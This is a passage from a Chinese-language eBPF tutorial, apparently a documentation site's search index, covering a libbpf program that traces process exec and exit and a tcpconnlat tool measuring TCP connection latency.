bpf_ringbuf_submit(e, 0); return 0;\n} 这样，当进程执行 exec() 或 exit() 系统调用时，我们的 eBPF 程序会捕获相应的事件，并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出，并获取有关进程的详细信息。 除此之外，在 bootstrap.h 中，我们还定义了和用户态交互的数据结构： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2020 Facebook */\n#ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN]; char filename[MAX_FILENAME_LEN]; bool exit_event;\n}; #endif /* __BOOTSTRAP_H */","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 内核态 eBPF 程序 bootstrap.bpf.c","id":"67","title":"内核态 eBPF 程序 bootstrap.bpf.c"},"68":{"body":"// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n/* Copyright (c) 2020 Facebook */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"bootstrap.h\"\n#include \"bootstrap.skel.h\" static struct env { bool verbose; long min_duration_ms;\n} env; const char *argp_program_version = \"bootstrap 0.0\";\nconst char *argp_program_bug_address = \"\";\nconst char argp_program_doc[] =\n\"BPF bootstrap demo application.\\n\"\n\"\\n\"\n\"It traces process start and exits and shows associated \\n\"\n\"information (filename, process duration, PID and PPID, etc).\\n\"\n\"\\n\"\n\"USAGE: ./bootstrap [-d ] [-v]\\n\"; static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ switch (key) { case 'v': env.verbose = true; break; case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); if (errno || env.min_duration_ms <= 0) { fprintf(stderr, \"Invalid duration: %s\\n\", arg); argp_usage(state); } break; case ARGP_KEY_ARG: argp_usage(state); break; default: return ARGP_ERR_UNKNOWN; } return 0;\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)\n{ if (level == LIBBPF_DEBUG && !env.verbose) return 0; return vfprintf(stderr, format, args);\n} static volatile bool exiting = false; static void sig_handler(int sig)\n{ exiting = true;\n} static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; struct tm *tm; char ts[32]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); if (e->exit_event) { printf(\"%-8s %-5s %-16s %-7d %-7d [%u]\", ts, \"EXIT\", e->comm, e->pid, e->ppid, e->exit_code); if (e->duration_ns) printf(\" (%llums)\", e->duration_ns / 1000000); printf(\"\\n\"); } else { printf(\"%-8s %-5s %-16s %-7d %-7d %s\\n\", ts, \"EXEC\", e->comm, e->pid, e->ppid, e->filename); } return 0;\n} int main(int argc, char **argv)\n{ struct ring_buffer *rb = NULL; struct bootstrap_bpf *skel; int err; /* Parse command line arguments */ err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Cleaner handling of Ctrl-C */ signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); /* Load and verify BPF application */ skel = bootstrap_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1; } /* Parameterize BPF code with minimum duration parameter */ skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; /* Load & verify BPF programs */ err = bootstrap_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } /* Attach tracepoints */ err = bootstrap_bpf__attach(skel); if (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup; } /* Set up ring buffer polling */ rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); if (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup; } /* Process events */ printf(\"%-8s %-5s %-16s %-7s %-7s %s\\n\", \"TIME\", \"EVENT\", \"COMM\", \"PID\", \"PPID\", \"FILENAME/EXIT CODE\"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; } } cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n} 这个用户态程序主要用于加载、验证、附加 eBPF 程序，以及接收 eBPF 程序收集的事件数据，并将其打印出来。我们将分析一些关键部分。 首先，我们定义了一个 env 结构，用于存储命令行参数： static struct env { bool verbose; long min_duration_ms;\n} env; 接下来，我们使用 argp 库来解析命令行参数： static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ // ...\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; main() 函数中，首先解析命令行参数，然后设置 libbpf 的打印回调函数 libbpf_print_fn，以便在需要时输出调试信息： err = argp_parse(&argp, argc, argv, 0, NULL, NULL);\nif (err) return err; libbpf_set_print(libbpf_print_fn); 接下来，我们打开 eBPF 脚手架（skeleton）文件，将最小持续时间参数传递给 eBPF 程序，并加载和附加 eBPF 程序： skel = bootstrap_bpf__open();\nif (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1;\n} skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; err = bootstrap_bpf__load(skel);\nif (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup;\n} err = bootstrap_bpf__attach(skel);\nif (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup;\n} 然后，我们创建一个环形缓冲区（ring buffer），用于接收 eBPF 程序发送的事件数据： rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);\nif (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup;\n} handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型（进程执行或退出），它会提取并打印事件信息，如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 最后，我们使用 ring_buffer__poll() 函数轮询环形缓冲区，处理收到的事件数据： while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); // ...\n} 当程序收到 SIGINT 或 SIGTERM 信号时，它会最后完成清理、退出操作，关闭和卸载 eBPF 程序： cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n}","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 用户态，bootstrap.c","id":"68","title":"用户态，bootstrap.c"},"69":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 安装依赖","id":"69","title":"安装依赖"},"7":{"body":"eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑，用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具，只需编写内核态部分的代码。 内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成，每个函数都有其特定的作用。可以使用的函数类型包括： kprobe：插探函数，在指定的内核函数前或后执行。 tracepoint：跟踪点函数，在指定的内核跟踪点处执行。 raw_tracepoint：原始跟踪点函数，在指定的内核原始跟踪点处执行。 xdp：网络数据处理函数，拦截和处理网络数据包。 perf_event：性能事件函数，用于处理内核性能事件。 kretprobe：函数返回插探函数，在指定的内核函数返回时执行。 tracepoint_return：跟踪点函数返回，在指定的内核跟踪点返回时执行。 raw_tracepoint_return：原始跟踪点函数返回，在指定的内核原始跟踪","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 编写 eBPF 程序","id":"7","title":"编写 eBPF 程序"},"70":{"body":"编译运行上述代码： $ git submodule update --init --recursive\n$ make BPF .output/bootstrap.bpf.o GEN-SKEL .output/bootstrap.skel.h CC .output/bootstrap.o BINARY bootstrap\n$ sudo ./bootstrap [sudo] password for yunwei: TIME EVENT COMM PID PPID FILENAME/EXIT CODE\n03:16:41 EXEC sh 110688 80168 /bin/sh\n03:16:41 EXEC which 110689 110688 /usr/bin/which\n03:16:41 EXIT which 110689 110688 [0] (0ms)\n03:16:41 EXIT sh 110688 80168 [0] (0ms)\n03:16:41 EXEC sh 110690 80168 /bin/sh\n03:16:41 EXEC ps 110691 110690 /usr/bin/ps\n03:16:41 EXIT ps 110691 110690 [0] (49ms)\n03:16:41 EXIT sh 110690 80168 [0] (51ms)","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 编译运行","id":"70","title":"编译运行"},"71":{"body":"通过这个实例，我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集，可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf，您可以构建更高效、可扩展和安全的监控和性能分析工具。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 总结","id":"71","title":"总结"},"72":{"body":"eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具，被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 本文是 eBPF 入门开发实践教程的第十三篇，主要介绍如何使用 eBPF 统计 TCP 连接延时，并使用 libbpf 在用户态处理数据。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据","id":"72","title":"eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据"},"73":{"body":"在进行后端开发时，不论使用何种编程语言，我们都常常需要调用 MySQL、Redis 等数据库，或执行一些 RPC 远程调用，或者调用其他的 RESTful API。这些调用的底层，通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点，因此在网络传输层协议中，TCP 的应用广泛程度超过了 UDP。然而，TCP 也有一些缺点，如建立连接的延时较长。因此，也出现了一些替代方案，例如 QUIC（Quick UDP Internet Connections，快速 UDP 网络连接）。 分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 背景","id":"73","title":"背景"},"74":{"body":"tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数（如通过 connect() 系统调用），并测量并显示连接延时，即从发送 SYN 到收到响应包的时间。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 工具概述","id":"74","title":"tcpconnlat 工具概述"},"75":{"body":"TCP 连接的建立过程，常被称为“三次握手”（Three-way Handshake）。以下是整个过程的步骤： 客户端向服务器发送 SYN 包：客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 SYN 包传送到服务器：这是一次网络传输，涉及到的时间取决于网络延迟。 服务器处理 SYN 包：服务器内核通过软中断接收包，然后将其放入半连接队列，并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 SYN/ACK 包传送到客户端：这是另一次网络传输。 客户端处理 SYN/ACK：客户端内核接收并处理 SYN/ACK 包，然后发送 ACK。这主要涉及软中断处理开销。 ACK 包传送到服务器：这是第三次网络传输。 服务器接收 ACK：服务器内核接收并处理 ACK，然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 唤醒服务器端用户进程：被 accept() 系统调用阻塞的用户进程被唤醒，然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 完整的流程图如下所示： tcpconnlat1 在客户端视角，在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下，可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后，就可以结合其他信息进行分析。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » TCP 连接原理","id":"75","title":"TCP 连接原理"},"76":{"body":"为了理解 TCP 的连接建立过程，我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列： 半连接队列（SYN 队列）：存储那些正在进行三次握手操作的 TCP 连接，服务器收到 SYN 包后，会将该连接信息存储在此队列中。 全连接队列（Accept 队列）：存储已经完成三次握手，等待应用程序调用 accept() 函数的 TCP 连接。服务器在收到 ACK 包后，会创建一个新的连接并将其添加到此队列。 理解了这两个队列的用途，我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分，其中包括了几个主要的跟踪点：tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。 这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时，这些跟踪点会被激活，从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 让我们先来看一下这些挂载点的源代码： SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} 这段代码展示了三个内核探针（kprobe）的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发，调用 trace_connect() 函数，而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发，调用 handle_tcp_rcv_state_process() 函数。 接下来的部分将分为两大块：一部分是对这些挂载点内核态部分的分析，我们将解读内核源代码来详细说明这些函数如何工作；另一部分是用户态的分析，将关注 eBPF 程序如何收集这些挂载点的数据，以及如何与用户态程序进行交互。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 的 eBPF 实现","id":"76","title":"tcpconnlat 的 eBPF 实现"},"77":{"body":"tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后，接着通过connect系统调用尝试连接到远程服务器，此时就会触发tcp_v4_connect函数。 /* This will initiate an outgoing connection. */\nint tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n{ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; struct inet_timewait_death_row *tcp_death_row; struct inet_sock *inet = inet_sk(sk); struct tcp_sock *tp = tcp_sk(sk); struct ip_options_rcu *inet_opt; struct net *net = sock_net(sk); __be16 orig_sport, orig_dport; __be32 daddr, nexthop; struct flowi4 *fl4; struct rtable *rt; int err; if (addr_len < sizeof(struct sockaddr_in)) return -EINVAL; if (usin->sin_family != AF_INET) return -EAFNOSUPPORT; nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr; } orig_sport = inet->inet_sport; orig_dport = usin->sin_port; fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, orig_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); return err; } if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { ip_rt_put(rt); return -ENETUNREACH; } if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; if (!inet->inet_saddr) { err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); if (err) { ip_rt_put(rt); return err; } } else { sk_rcv_saddr_set(sk, inet->inet_saddr); } if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { /* Reset inherited state */ tp->rx_opt.ts_recent = 0; tp->rx_opt.ts_recent_stamp = 0; if (likely(!tp->repair)) WRITE_ONCE(tp->write_seq, 0); } inet->inet_dport = usin->sin_port; sk_daddr_set(sk, daddr); inet_csk(sk)->icsk_ext_hdr_len = 0; if (inet_opt) inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; /* Socket identity is still unknown (sport may be zero). * However we set state to SYN-SENT and not releasing socket * lock select source port, enter ourselves into the hash tables and * complete initialization after this. */ tcp_set_state(sk, TCP_SYN_SENT); err = inet_hash_connect(tcp_death_row, sk); if (err) goto failure; sk_set_txhash(sk); rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, inet->inet_sport, inet->inet_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); rt = NULL; goto failure; } /* OK, now commit destination to socket. */ sk->sk_gso_type = SKB_GSO_TCPV4; sk_setup_caps(sk, &rt->dst); rt = NULL; if (likely(!tp->repair)) { if (!tp->write_seq) WRITE_ONCE(tp->write_seq, secure_tcp_seq(inet->inet_saddr, inet->inet_daddr, inet->inet_sport, usin->sin_port)); tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, inet->inet_daddr); } inet->inet_id = get_random_u16(); if (tcp_fastopen_defer_connect(sk, &err)) return err; if (err) goto failure; err = tcp_connect(sk); if (err) goto failure; return 0; failure: /* * This unhashes the socket and releases the local port, * if necessary. */ tcp_set_state(sk, TCP_CLOSE); inet_bhash2_reset_saddr(sk); ip_rt_put(rt); sk->sk_route_caps = 0; inet->inet_dport = 0; return err;\n}\nEXPORT_SYMBOL(tcp_v4_connect); 参考链接： https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340 接下来，我们一步步分析这个函数： 首先，这个函数接收三个参数：一个套接字指针sk，一个指向套接字地址结构的指针uaddr和地址的长度addr_len。 int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) 函数一开始就进行了参数检查，确认地址长度正确，而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 接下来，函数获取目标地址，如果设置了源路由选项（这是一个高级的IP特性，通常不会被使用），那么它还会获取源路由的下一跳地址。 nexthop = daddr = usin->sin_addr.s_addr;\ninet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk));\nif (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr;\n} 然后，使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址，函数返回错误。 接下来，它更新了源地址，处理了一些TCP时间戳选项的状态，并设置了目标端口和地址。之后，它更新了一些其他的套接字和TCP选项，并设置了连接状态为SYN-SENT。 然后，这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败，它会恢复套接字的状态并返回错误。 如果前面的步骤都成功了，接着，使用新的源和目标端口来更新路由项。如果这步失败，它会清理资源并返回错误。 接下来，它提交目标信息到套接字，并为之后的分段偏移选择一个安全的随机值。 然后，函数尝试使用TCP Fast Open（TFO）进行连接，如果不能使用TFO或者TFO尝试失败，它会使用普通的TCP三次握手进行连接。 最后，如果上面的步骤都成功了，函数返回成功，否则，它会清理所有资源并返回错误。 总的来说，tcp_v4_connect函数是一个处理TCP连接请求的复杂函数，它处理了很多情况，包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open，等等。它的主要目标是尽可能安全和有效地建立TCP连接。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcp_v4_connect 函数解析","id":"77","title":"tcp_v4_connect 函数解析"},"78":{"body":"// SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"tcpconnlat.h\" #define AF_INET 2\n#define AF_INET6 10 const volatile __u64 targ_min_us = 0;\nconst volatile pid_t targ_tgid = 0; struct piddata { char comm[TASK_COMM_LEN]; u64 ts; u32 tgid;\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} SEC(\"fentry/tcp_v4_connect\")\nint BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_v6_connect\")\nint BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_rcv_state_process\")\nint BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这个eBPF（Extended Berkeley Packet Filter）程序主要用来监控并收集TCP连接的建立时间，即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 首先，定义了两个eBPF maps：start和events。start是一个哈希表，用于存储发起连接请求的进程信息和时间戳，而events是一个PERF_EVENT_ARRAY类型的map，用于将事件数据传输到用户态。 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中，会记录下发起连接请求的进程信息（进程名、进程ID和当前时间戳），并以socket结构作为key，存储到start这个map中。 static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} 当TCP状态机处理到SYN-ACK包，即连接建立的时候，会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中，首先检查socket的状态是否为SYN-SENT，如果是，会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔，将该时间间隔，进程信息，以及TCP连接的详细信息（源端口，目标端口，源IP，目标IP等）作为event，通过bpf_perf_event_output函数发送到用户态。 static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} 理解这个程序的关键在于理解Linux内核的网络栈处理流程，以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是，首先调用tcp_v4_connect或tcp_v6_connect函数（根据IP版本不同）发起TCP连接，然后在收到SYN-ACK包时，通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe，可以在关键时刻得到通知并执行相应的处理代码。 一些关键概念说明： kprobe：Kernel Probe，是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点，当断点被触发时，会执行与kprobe关联的eBPF程序。 map：是eBPF程序中的一种数据结构，用于在内核态和用户态之间共享数据。 socket：在Linux网络编程中，socket是一个抽象概念，表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 内核态代码","id":"78","title":"内核态代码"},"79":{"body":"用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数，用于轮询perf event buffer并处理接收到的数据。 首先，让我们详细看一下主轮询循环： /* main: poll */ while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { fprintf(stderr, \"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } /* reset err to return 0 if exiting */ err = 0; } 这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错（例如由于信号中断），会打印出错误消息。这个轮询过程会一直持续，直到收到一个退出标志exiting。 接下来，让我们来看看handle_event函数，这个函数将处理从内核发送到用户态的每一个eBPF事件： void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { const struct event* e = data; char src[INET6_ADDRSTRLEN]; char dst[INET6_ADDRSTRLEN]; union { struct in_addr x4; struct in6_addr x6; } s, d; static __u64 start_ts; if (env.timestamp) { if (start_ts == 0) start_ts = e->ts_us; printf(\"%-9.3f \", (e->ts_us - start_ts) / 1000000.0); } if (e->af == AF_INET) { s.x4.s_addr = e->saddr_v4; d.x4.s_addr = e->daddr_v4; } else if (e->af == AF_INET6) { memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); } else { fprintf(stderr, \"broken event: event->af=%d\", e->af); return; } if (env.lport) { printf(\"%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), e->lport, inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); } else 